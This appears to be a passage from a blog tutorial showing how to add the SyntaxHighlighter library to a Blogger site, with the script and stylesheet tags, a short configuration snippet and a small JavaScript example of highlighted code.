src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushBash.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushCss.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushJScript.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushPlain.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushPython.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushSql.js'></script>
<script type='text/javascript' 
src='http://alexgorbatchev.com/pub/sh/2.0.320/scripts/shBrushXml.js'></script>

<link href='http://alexgorbatchev.com/pub/sh/2.0.320/styles/shCore.css' 
rel='stylesheet' type='text/css'/>
<link href='http://alexgorbatchev.com/pub/sh/2.0.320/styles/shThemeDefault.css' 
rel='stylesheet' type='text/css'/>

<script type='text/javascript'>
SyntaxHighlighter.config.bloggerMode = true;
SyntaxHighlighter.all();
</script>
<!-- end SyntaxHighlighter -->

The SyntaxHighlighter library searches all <pre> tags and apply highlight styles according to their class names.

<pre class="brush: js">
var foobar = function() {
  var el = document.getElementById('something');
  if (el) {
    el.innerHTML = 'Found you!';
  }
}
</pre>

Here is the highlighted code:

var foobar = function() {
  var el = document.getElementById('something');
  if (el) {
    el.innerHTML = 'Found you!';
  }
}


References

- SyntaxHighlighter API
- Using SyntaxHighlighter on BLOGGER
- How to add syntax highlight to Blogger